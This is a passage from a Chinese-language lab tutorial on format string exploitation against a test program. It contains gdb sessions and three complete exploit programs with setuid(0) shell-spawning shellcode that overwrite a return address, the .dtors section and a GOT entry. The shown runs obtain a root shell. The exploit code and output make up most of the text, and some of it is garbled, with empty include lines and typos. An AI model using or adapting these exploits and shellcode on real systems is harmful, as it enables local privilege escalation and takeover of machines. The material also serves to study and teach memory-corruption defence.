(gdb) r BBBB
Starting program: /root/test/Bytes-Attack-Lab/format/t2/fvul2 BBBB
Breakpoint 1, 0x0804838c in main ()
(gdb) x/wx $esp
0xbffff92c: 0x420158d4 #main函数返回地址存放在0xbffff92c处(正常状况下).这个
#地址里面存储的内容也就是咱们想要改写的.
(gdb)
依据上面阐述的原理,咱们利用精心构造的格式化说明符将shellcode的地址写入0xbffff92c,当main返回时
咱们的shellcode即可以执行.
2.覆盖*printf()系列函数自身的返回地址:
相较上面的利用方法,该利用方法具备更高的精确度,且即使是在条件至关苛刻的状况下也可使用.
[root@Bytes-WorkStation t2]# gdb -q fvul2
(gdb) disass main
Dump of assembler code for function main:
0x804838c
0x804838d
0x804838f
0x8048395
0x8048398
0x804839d
0x804839f
0x80483a2
0x80483a5
0x80483a8
0x80483aa
0x80483ac
0x80483af
0x80483b0
0x80483b5
0x80483b8
0x80483bc
0x80483bf
0x80483c2
0x80483c3
0x80483c6
0x80483c9
---Type
0x80483ca
0x80483cf
0x80483d2
0x80483d3
0x80483d8
0x80483dd
0x80483e0
0x80483e3
0x80483e4
0x80483e7
0x80483ea
0x80483ef
0x80483f4
0x80483f7
0x80483fc
0x80483fd
0x80483fe
0x80483ff
End of assembler dump.
(gdb)
(gdb) b *0x80483b0 #<---snprintf入口地址
Breakpoint 1 at 0x80483b0
(gdb) r BBBB
Starting program: /root/test/Bytes-Attack-Lab/format/t2/fvul2 BBBB
Breakpoint 1, 0x080483b0 in main ()
(gdb) i reg $eax $esp $ebp
eax 0xbffff8b0 -1073743696
esp 0xbffff890 0xbffff890
ebp 0xbffff928 0xbffff928
(gdb) x/20x 0xbffff870
0xbffff870: 0x4000a01f 0x40012d74 0x00000000 0x0177ff8e
0xbffff880: 0xbffff920 0x400126e0 0x00000000 0x00000000 #<--- ***
0xbffff890: 0xbffff8b0 0x00000064 0xbffffab3 0x00000000
0xbffff8a0: 0x4212a364 0x00000369 0x4200dbb3 0x420069e8
0xbffff8b0: 0x4212a2d0 0xbffffa87 0xbffff974 0xbffff8f4
(gdb) si
0x080482cc in snprintf ()
(gdb) x/8x 0xbffff870
0xbffff870: 0x4000a01f 0x40012d74 0x00000000 0x0177ff8e
0xbffff880: 0xbffff920 0x400126e0 0x00000000 0x080483b5 #<---上面"***"处已经变为 0x080483b5
(gdb) x/wx 0xbffff88c
0xbffff88c: 0x080483b5
(gdb)
也就是说0xbffff880+c=0xbffff88c是存放snprintf返回地址的地方.固然咱们能够更直白一些:
[root@Bytes-WorkStation t2]# gdb -q fvul2
(gdb) x/i snprintf
0x80482cc
(gdb) b *0x80482cc
Breakpoint 1 at 0x80482cc
(gdb) r BBBB
Starting program: /root/test/Bytes-Attack-Lab/format/t2/fvul2 BBBB
Breakpoint 1, 0x080482cc in snprintf ()
(gdb) x/wx $esp
0xbffff88c: 0x080483b5 #<---snprintf的返回地址
大虾alert7总结过一个计算Linux平台*printf()自身返回地址的公式:返回地址 = 格式化字符串地址 - 垃圾数据个数 * 4 - 8.
由此不可贵出exploit,下面给出个人exploit模板:
/*
exp1.c
Exploit:
for fvul2.c
Coder:
Bytes[at]ph4nt0m.net
Thax alert7'code.^_^
Notice:
rewrite snprintf() ret_addr.
*/
#include
#include
#define NOP 0x90
#define BUF_S 2048
#define want_to_w_addr 0xbffff88c
//#define shellcode_addr 0xbffff950
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void){
char buffer[BUF_S],Buffer[BUF_S * 2],*p;
unsigned Use_addr;
int i,j,ret_1,ret_2;
Use_addr = want_to_w_addr +100;
ret_1 = (Use_addr >> 16) & 0xffff;
ret_2 = (Use_addr >> 0) & 0xffff;
/*因为咱们不能一次将地址写入,因此咱们只能分开两部分写入.*/
memset(buffer,NOP,sizeof(buffer));
memset(buffer,'B',4);
for(i=0;i < 4;i++){
buffer[i+4] = ((want_to_w_addr+2) >> (i * 8))`& 0xff;
}
memset(buffer,'B',4);
for(j=0;j < 4;j++){
buffer[i+4+j] = ((want_to_w_addr) >> (i * 8)) & 0xff;
}
p = &buffer[8];
if(ret_1 < ret_2){
sprintf(p,"%%.%ud%%6$hn%%.%ud%%7$hn",ret_1 - 8,ret_2 - ret_1);
}else{
sprintf(p,"%%.%ud%%6$hn%%.%ud%%7$hn",ret_2 - 8,ret_1 - ret_2);
}
sprintf(Buffer,"%s%s",buffer,shellcode);
execle("./fvul2","fvul2",Buffer, NULL,NULL);
}
下面咱们来看看结果
[root@Bytes-WorkStation t2]# gcc -o exp1 exp1.c
[root@Bytes-WorkStation t2]# ./exp1
Segmentation fault
呼呼,目标程序因为段错误挂掉了,回头仔细想一想到底是什么缘由呢?看过alert7前辈<<利用格式化串覆盖*printf()系列函数自己的返回地址>>一文的朋
友必定会想到多是execle()函数在做怪,但这里其实不只仅是那个缘由,个人exp犯了一个原则性的错误,细心的话应该注意到,本文所使用的那个存在漏
洞的例程的:char buf[100];这个地方,而咱们的exp中,构造的buffer却要比这个大许多,这样致使了stack溢出,天然就不能让程序正常执行下去了,呼
呼,实际上,实战状态下大多数状况目标程序是没有那么大的地方容许咱们放置咱们传递的buffer的,不是目标程序buffer大小的问题,而是一般会对输入
的数据进行一些检测.这里提一个技巧,即对于本地format string能够把shellcode放去环境变量,稍微改动上面的程序就能够了.exp.c就不贴出来了.
但愿看到这个文档的朋友本身动手试试看---small buffer format string attacking...外面的资料也不少.
2)覆盖.dtors list
若是你还不明白什么是ELF的.dtors的话,那么我建议你仔细的阅读有关ELF文件格式的文档.你能够在网络中搜索到不少.这里仅就相关内容简单的提
一下.实际上.dtors的做用一句话就能够表述出来(细节固然也并不是这么简单),也就是该表中的内容将在main返回的时候被执行.固然咱们利用format
string漏洞进行***rewrite的是内存映像的.dtors(或许这么表达不是很准确,但也就这个意思).
默认编译的ELF文件都是有这个字段的,除非被strip去掉了.因此这个方法仍是更为行之有效的.***过程的思路很简单,就是利用format string漏洞
write to anywhere的特色,直接把咱们shellcode的地址写入.dtors,"shellcode的地址"能够是一个有效的范围,咱们的shellcode位于其中,而后用
NOP填充满,这样能够有效的提升精确度,而且能够考虑把shellcode放入环境变量,这样精度更高,且限制更少.:)
[root@Bytes-WorkStation t2]# objdump -s -j .dtors fvul2
fvul2: file format elf32-i386
Contents of section .dtors:
8049554 ffffffff 00000000 ........
咱们能够看到.dtors list 入口地址为:0x8049554,咱们须要覆盖的就是0xffffffff所占据的存储单元,也就是0x8049554+4 = 0x8049558这个地址.
由此给出个人Exploit模版:
/*
exp2.c
Exploit:
for fvul2.c
Coder:
Bytes[at]ph4nt0m.net
Notice:
rewrite .dtors.
put shellcode into environment variabel
*/
#include
#include
#define NOP 0x90
#define BUF_S 2048
#define want_to_w_addr 0x8049558 /* .dtors addr = 0x8049554+4 */
#define shellcode_addr 0xbffff8d0 /* shellcode address: 这个和Stack溢出的一个处理方法同样,我是把它放到环境变量里面的,我感受这样子
成功率会高一点,这个地址能够没必要太准确,猜个大体就能够了,理论上你把Buffer定义越大,这个地址越能够不许确,嘿嘿^_^*/
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void){
char buffer[256];
char buffer_egg[BUF_S];
unsigned low_ret,high_ret,i;
char dec_1,dec_2;
char addr[4];
addr[0] = (want_to_w_addr & 0xff000000) >> 24;
addr[1] = (want_to_w_addr & 0x00ff0000) >> 16;
addr[2] = (want_to_w_addr & 0x0000ff00) >> 8;
addr[3] = (want_to_w_addr & 0x000000ff);
high_ret = (shellcode_addr & 0xffff0000) >> 16;
low_ret = (shellcode_addr & 0x0000ffff);
memset(buffer,0x42,256);
//memset(buffer_egg,0x42,BUF_S);
memset(buffer_egg,NOP,BUF_S - strlen(shellcode));
memcpy (buffer_egg + BUF_S - strlen(shellcode) - 1,shellcode,strlen(shellcode));
if(high_ret < low_ret) {
sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +
2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],high_ret - 8,low_ret - high_ret);
}else{
sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +
2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],low_ret - 8,high_ret - low_ret);
}
/*里面关于垃圾数据的长度可能须要更改*/
buffer_egg[BUF_S-1]=0x00;
memcpy(buffer_egg,"Bytes2lu=",9);
putenv(buffer_egg);
execl("./fvul2","fvul2",buffer,NULL);
}
测试一下:
[root@Bytes-WorkStation t2]# gcc -o exp2 exp2.c
[root@Bytes-WorkStation t2]# su Bytes
[Bytes@Bytes-WorkStation t2]$ id
uid=501(Bytes) gid=501(Bytes) groups=501(Bytes)
[Bytes@Bytes-WorkStation t2]$ ./exp2
buffer(99):Z?X?0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
x is 1107323368 hex is 0x420069e8(@ 0xbffff0bc)
sh-2.05b# id
uid=0(root) gid=501(Bytes) groups=501(Bytes)
sh-2.05b# exit
exit
成功了,a rootshell.:)
3)覆盖GOT
若是你还不明白什么是ELF的GOT的话,那么我建议你仔细的阅读有关ELF文件格式的文档.你能够在网络中搜索到不少.这里仅就相关内容简单的提
一下.GOT即global offset table全局偏移表,与PLT有着紧密的关联.动态链接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个
ELF被加载的时候,才会把那些动态函库数代码加载进来,以前系统只会在ELF文件中的GOT中保留一个调用地址.其余相关细节请自行查阅相关文献.
***思路已经很明显了:
[root@Bytes-WorkStation t2]# objdump -R fvul2
fvul2: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804957c R_386_GLOB_DAT __gmon_start__
0804956c R_386_JUMP_SLOT strlen
08049570 R_386_JUMP_SLOT __libc_start_main
08049574 R_386_JUMP_SLOT printf
08049578 R_386_JUMP_SLOT snprintf
这里我选择覆盖printf()在GOT中的地址也就是0x8049574.Exp则修改上面的exp2便可.
个人Exploit模版以下:
/*
exp3.c
Exploit:
for fvul2.c
Coder:
Bytes[at]ph4nt0m.net
Notice:
rewrite global offset table: &printf
put shellcode into environment variabel
*/
#include
#include
#define NOP 0x90
#define BUF_S 2048
#define want_to_w_addr 0x8049574 /* printf() GOT addr */
#define shellcode_addr 0xbffff8d0 /* shellcode address: 这个和Stack溢出的一个处理方法同样,我是把它放到环境变量里面的,我感受这样子
成功率会高一点,这个地址能够没必要太准确,猜个大体就能够了,理论上你把Buffer定义越大,这个地址越能够不许确,嘿嘿^_^*/
/* setuid(0) shellcode by by Matias Sedalo 3x ^_^ */
char shellcode[] ="\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void){
char buffer[256];
char buffer_egg[BUF_S];
unsigned low_ret,high_ret,i;
char dec_1,dec_2;
char addr[4];
addr[0] = (want_to_w_addr & 0xff000000) >> 24;
addr[1] = (want_to_w_addr & 0x00ff0000) >> 16;
addr[2] = (want_to_w_addr & 0x0000ff00) >> 8;
addr[3] = (want_to_w_addr & 0x000000ff);
high_ret = (shellcode_addr & 0xffff0000) >> 16;
low_ret = (shellcode_addr & 0x0000ffff);
memset(buffer,0x42,256);
//memset(buffer_egg,0x42,BUF_S);
memset(buffer_egg,NOP,BUF_S - strlen(shellcode));
memcpy (buffer_egg + BUF_S - strlen(shellcode) - 1,shellcode,strlen(shellcode));
if(high_ret < low_ret) {
sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +
2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],high_ret - 8,low_ret - high_ret);
}else{
sprintf(buffer,
"%c%c%c%c%c%c%c%c%%.%ud%%6$hn%%.%ud%%7$hn",addr[3] +
2,addr[2],addr[1],addr[0],addr[3],addr[2],addr[1],addr[0],low_ret - 8,high_ret - low_ret);
}
/*里面关于垃圾数据的长度可能须要更改*/
buffer_egg[BUF_S-1]=0x00;
memcpy(buffer_egg,"Bytes2lu=",9);
putenv(buffer_egg);
execl("./fvul2","fvul2",buffer,NULL);
}
测试一下:
[root@Bytes-WorkStation t2]# gcc -o exp3 exp3.c
[root@Bytes-WorkStation t2]# su Bytes
[Bytes@Bytes-WorkStation t2]$ id
uid=501(Bytes) gid=501(Bytes) groups=501(Bytes)
[Bytes@Bytes-WorkStation t2]$ ./exp3
sh-2.05b# id
uid=0(root) gid=501(Bytes) groups=501(Bytes)
sh-2.05b# exit
exit
比较覆盖.dtors的exp和覆盖GOT的exp测试结果咱们能够发现这两种技术的不一样之处,也就是获取rootshell的"时机"(请原谅我含糊的表述:( )不一样.具
体说来就是覆盖.dtors的exp执行的时候,输出为:
buffer(99):Z?X?0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
x is 1107323368 hex is 0x420069e8(@ 0xbffff0bc)
sh-2.05b# id
这说明咱们的shell至少是在那两条printf语句以后执行的,实质上是在main结束之后,这里就体现了覆盖.dtors的局限性,以本文例程为例,若是程序在
执行两条printf()语句之后丢弃了root特权,那么咱们是没法获得rootshell.而由覆盖GOT的exp的输出信息可知,因为咱们选择覆盖printf在GOT中的
地址,程序试图加载printf的代码的时候,就"不幸"执行了咱们的shellcode,致使程序流程按照咱们的意愿被改变(真正的printf并无被执行).由此看
来若是能够覆盖GOT,那么覆盖GOT则更有优点,由于咱们能够尽量的选择覆盖程序丢弃root特权以前的函数位于GOT中的地址,这样既即是程序中途丢弃
root特权,咱们依然能够获得rootshell.
_EOF
{0x04}.其它.
A.感谢:OYxin,Winewind,www417,Luz成文过程当中给予的帮助和鼓励.特别感谢※上弦の月※×××帮我纠正了文中错别字:P
B.附:
本来打算把4)Return into libc也写入本篇笔记,可是考虑到Return into libc某些时候和绕过系统补丁***关联密切,故留待下篇总结format
string***技巧,绕过系统补丁,经验体会等等的笔记中再写.
{0x05}.参考文献:
< >En version
<<利用格式化串覆盖*printf()系列函数自己的返回地址>>
<
<
<